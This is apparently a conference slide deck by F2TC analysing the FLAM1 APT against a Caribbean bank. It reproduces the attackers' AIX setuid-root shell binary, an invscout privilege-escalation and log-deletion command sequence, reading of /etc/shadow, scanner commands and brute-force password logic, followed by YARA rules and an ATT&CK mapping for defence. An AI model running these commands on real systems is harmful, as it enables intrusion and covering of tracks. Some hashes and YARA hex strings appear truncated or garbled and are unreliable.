Detecting and Mitigating FLAM1 Banking APT
Advanced Persistent Threat targeting the Caribbean financial sector.
Huascar Tejeda <htejeda@f2tc.com>

- Co-Founder & CEO - F2TC Cyber Security
- 15+ years of experience in:
  - Cyber Security
    - Security Research
    - Penetration Testing: Binary, IoT, Mobile, Web, Infrastructure
  - Red/Blue/Purple teaming
  - Threat Intelligence, Malware Analysis
  - Software Development
  - Networking
  - System Administration / DevOps
  - Embedded System Development
  - Linux Kernel hacker
  - Telecom – Orange, ONEMAX, DIRECTV / AT&T

@htejeda

Detecting and Mitigating FLAM1 Banking APT
Rilke Petrosky <petrosky@f2tc.com>

- Red Team Leader / Security Researcher - F2TC Cyber Security
- Over a decade engaged in:
  - Penetration Testing and Red Teaming
  - Malware analysis and Reverse Engineering
  - Custom shellcode, tools and exploit development
  - Software Development
  - System Administration
  - Computer vision and image processing algorithms design
  - Telephony / VoIP

Detecting and Mitigating FLAM1 Banking APT
Why FLAM1?

main → getuid → geteuid → Privileged UDP Socket → CAPTAIN FLAM
YOU’RE NOT FROM OUR GALAXY!
Detecting and Mitigating FLAM1 Banking APT
Detecting and Mitigating FLAM1 Banking APT

Didn’t try stealthier execution options
Was too confident to persist properly

Weaponization was very targeted
Rushed into discovery without establishing persistence first

Initial Foothold Compromised System
Network Propagation Internal Network
Action on Objectives Critical Asset Access

FLAM1 would’ve succeeded in production
Pack5.tar.gz
SHA1: 7c0cd7452784620c01df31ae497a4122da31
SHA256: b5c1b26b43ff8ab008643e25e6f513cec52704ff1c9b9199296e199d9c66a7

R
SHA1: 66e0863d709affbc6fe32cc7e4cbbc17b6661753
SHA256: 608142162f3f3c6e4f60d8e20d8e2c0efbb458ed2522ddcb0bfc6f

Run.gz
SHA1: d5dfe9022cc4d1ed1c8e38d2a37b5721a36c601a
SHA256: b88f12107f1f7d38a47b2734eab594c11f9db7f1cb3c49393d49dcd149138

S.bz2
SHA1: 53867ca0be7a1f1b0b44415add670ed5abb6e569e
SHA256: ca0ff1a5d40dd722fa2ba03bc2b23ec4baf7b9305e50eb90ca4cf8726055
Detecting and Mitigating FLAM1 Banking APT

Static Analysis

```assembly
.csect .main[PR]

# int _cdecl main(int argc, const char **argv, const char **envp)
.globl .main
.main:
.set sender_sp, -0x40
.set saved_toc, -0x2C
.set var_4, -4
.set sender_lr, 8

mf1r  r0
stw   r31, var_4(r1)
stw   r0, sender_lr(r1)
stw   r1, sender_sp(r1)
lwf    r31, STATIC_TC_0 # "main"
li     r3, 0
bl     .setuid
lwz    r2, @x40+saved_toc(r1)
li     r3, 0
bl     .setgid
lwz    r2, @x40+saved_toc(r1)
addi   r3, r31, (A8nKsh - 0x20000498) # "/bin/ksh"
bl     .system
lwz    r2, @x40+saved_toc(r1)
lwz    r0, @x40+sender_lr(r1)
mtlr   r0
addi   r1, r1, 0x40
lwz    r31, var_4(r1)
blr    # End of function .main
```

F2TC Cyber Security

```
$ invscout -FWM '
chown 0:0 uid;chmod 4755 uid '
$ ./uid
# rm /var/adm/invscout/invscout.log
# rm /var/adm/invscout/ShellCmd.trace
# id
```
REMOVE - Simple Nomad
Universal utmp, wttmp, and lastlog editor. Actually removes, doesn't leave holes...
February 26, 1997

https://packetstormsecurity.com/files/14816/remove.c.html
Shell script:

- `/usr/bin/time (chown 0:0, chmod 6755)`
- Automated OS information gathering:
  - Arquitectura
  - Uptime
  - Hosts
  - Network devices
  - ARP table
  - `/etc/(passwd|shadow)`
  - Crontabs
  - Etc...
Static Analysis

- Statically compiled binary with the following built-in utilities:
  - masscan
  - libpcap
  - RPC Scanner
  - Common users dictionaries: login.userlist & cisco.userlist
  - Dict/Brute force:
    - Cisco
    - Oracle
    - Solaris Common Desktop Environment (CDE)

- Purpose specific artifact

```bash
# bunzip2 s.bz2
# ./s

# strload -f /etc/dlp.conf # Enable promiscuous mode
# ifconfig -a
# s -u -t4 172.17.0.15/16 161  # (161/udp = snmp)
# s -t2 -d en0 172.17.0.15/16 1521  # (1521/tcp = Oracle TNS Listener)
# s -t2 -d en0 172.17.0.15/16 22  # (22/tcp = SSH)
# s -t2 -d en0 172.17.0.15/16 79  # (79/tcp = finger)
```
Detecting and Mitigating FLAM1 Banking APT

```python
import generate_bf_accounts

Usernames = [login.userlist or cisco.userlist]
Suffixes = ['0', '1', '10', '99', '1234', '-', '!', '123', '123456', 'abc123', '123abc', 'changeit', etc...]

Passwords = []
for user in Usernames:
    for suffix in Suffixes:
        Passwords.append(user + suffix)

telnet_bf_s0l .text 100087BC 0000039C 00001FE0 0000000C R . . . . . .
telnet_bf_cisc0 .text 10008B7C 000002F4 00001FE8 0000000C R . . . . . .
dtspcd (Solaris Common Desktop Environment):
brute_this_fucker_DS .text 10007374 0000006C 00000040 0000000C R . . . .
```
Observe

- Attacker(s) rushed straight to actions on objectives. Seems to have previous knowledge on network assets.
- Identified target and related intentions.
- Relatively modern tools compiled for and old AIX 5.3 system.
- Artifacts timestamp hints on possible age of APT
**Orient**

- **CAPTAIN FLAM** is the French name for Captain Future comics and cartoons. Quote of the French intro song lyrics in the artifacts is the mayor cultural and age hint on our adversary:
  - Possible French speaking generation-X (insider?) hacker.
  - Seems to be an old school UNIX sys-admin as shown by command logs.
  - Targeted attack vector is evidence of previous knowledge of overall banking infrastructure.
Decide

• Write YARA rules to match the artifacts.
• Identify all assets matching services and purpose of those targeted by scan.
YARA rules

rule uid_privesc: F2TC SID5861778214 {

meta:
    description = "Detects the setuid program used to escalate privileges"
    author = "Huascar Tejeda <htejeda@f2tc.com>"
    date = "2019-02-23"
    in_the_wild = true

strings:
    /
    li r3, 0 = 38 60 00 00
    bl .setuid = 48 00 00 51
    li r3, 0 = 38 60 00 00
    bl .setgid = 48 00 00 60
    /bin/ksh = 2F 62 69 6E 2F 6B 73 68
    bl .system = 48 00 00 89
    */

    $suid = { 38 60 00 00 48 00 00 51 }
    $sgid = { 38 60 00 00 48 00 00 60 }
    $ksh = { 2F 62 69 6E 2F 6B 73 68 }
    $system = { 48 00 00 89 }

condition:
    $suid and $sgid and $system and $ksh
}

Detecting and Mitigating FLAM1 Banking APT
YARA rules

rule REMOVE_by_SimpleNomad : F2TC SID5861778214 {
    meta:
        description = "Detects the Universal utmp, wtmp, and lastlog editor - REMOVE by Simple Nomad"
        author = "Huascar Tejeda <htejeda@f2tc.com>"
        date = "2019-02-23"
        in_the_wild = true
    strings:
        /
        bl .cleanWtmp = 48 00 02 21
        bl .cleanUtmp = 48 00 03 A1
        bl .cleanLastLog = 48 00 04 A5
        */
        $name = { 52 45 4D 4F 56 45 20 62 79 20 53 69 6D 70 6C 65 20 4E 6F 6D 61 64 }
        $wtmp = { 2F 76 61 72 2F 61 64 6D 2F 77 74 6D 70 70 6C 65 20 4E 6F 6D 61 64 }
        $cleanWtmp = { 48 00 02 21 }
        $utmp = { 2F 65 74 63 2F 77 74 6D 70 6C 65 20 4E 6F 6D 61 64 }
        $cleanUtmp = { 48 00 03 A1 }
        $lastlog = { 2F 65 74 63 2F 73 65 63 75 72 69 74 79 2F 6C 61 73 74 6C 6F 67 }
        $cleanLastLog = { 48 00 04 A5 }
        $chsec = { 63 68 73 65 63 }
    condition:
        $name and $wtmp and $cleanWtmp and $utmp and $cleanUtmp and $lastlog and $cleanLastLog and $chsec
}
YARA rules

rule s_scanner : F2TC S05861778214 {

meta:
description = "Detects the 's' artifact that contains masscan, RPC Scanner, Bruteforce and a sniffer"
author = "Huascar Tejeda <htejeda@f2tc.com>"
date = "2019-02-23"
in_the_wild = true

strings:
$s1 = 
77 4F 4F 4F 6F 6F 6F 4F 4F 4F 4F 4F 4F 4F 4F 4F
4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F
4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F 4F
55 4E 44 20 41 52 47 20 21 20 43 4F 4E 47 20 21 20
41 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61
42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51
52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61
$1 20 21 0A

$s2 = 
63 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
6D 6D 6D 6D 6D 6D 6D 6D 6D 6D 6D 6D 6D 6D 6D 6D
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
$s2 20 21 0A

$s3 = 
2A 20 65 78 70 65 63 74 69 66 67 20 66 75 63 68
20 75 70 20 6E 65 74 77 6F 72 68 20 77 2F 20 70
61 63 68 65 74 20 6C 6F 6E 65 6C 65 6D 65 6E 65 63 68
6C 20 73 65 6E 64 20 72 6F 64 65 73 70 20 74 77
69 63 65 21 20 2A 0A 00

$s4 = 
2A 20 46 45 4C 45 53 43 41 4E 20 2A 20 43 41 20 56 41 43 45 54 20
53 43 41 4E 20 2A 20 43 41 20 56 41 20 50 41 43 45 54 20
4B 45 54 20 4C 65 73 70 20 42 20 4D 20 4F 20 4D 20 4F 20
54 21 20 2A 0A

condition: $s1 and $s2 and $s3 and $s4
}

Time to Respond – OODA Loop on FLAM1

Act

• Provide YARA rules to defenders
• Share threat intel with ABA
• Configure all endpoint and network defense systems to match the YARA rules signatures for FLAM1 artifacts
Let’s Go Straight for the TTPs

David Bianco's Pyramid of Pain

- **Hash Values**: Trivial
- **IP Address**: Easy
- **Domain Names**: Simple
- **Network / Host Artifacts**: Annoying
- **Tools**: Challenging
- **TTPs**: Tough!
FLAM1 TTPs

Mapped to the ATT&CK™ Matrix

**INITIAL ACCESS**
- 3 ITEMS
  - Hardware Additions
  - Trusted Relationship
  - Valid Accounts

**EXECUTION**
- 2 ITEMS
  - Command-Line Interface
  - Hidden Files and Directories

**PERSISTENCE**
- 3 ITEMS
  - Setuid and Setgid
  - Valid Accounts

**PRIVILEGE ESCALATION**
- 3 ITEMS
  - Exploitation for Privilege Escalation
  - Setuid and Setgid
  - Valid Accounts

**DEFENSE EVASION**
- 5 ITEMS
  - Clear Command History
  - File Deletion
  - Hidden Files and Directories
  - Scripting
  - Valid Accounts

**CREDENTIAL ACCESS**
- 1 ITEMS
  - Brute Force

**DISCOVERY**
- 5 ITEMS
  - File and Directory Discovery
  - Network Service Scanning
  - Process Discovery
  - Remote System Discovery
  - System Information Discovery
Threat Intelligence References

- yarGen - YARA Rules Generator - https://github.com/Neo23x0/yarGen
- SIGMA Rules - https://github.com/Neo23x0/sigma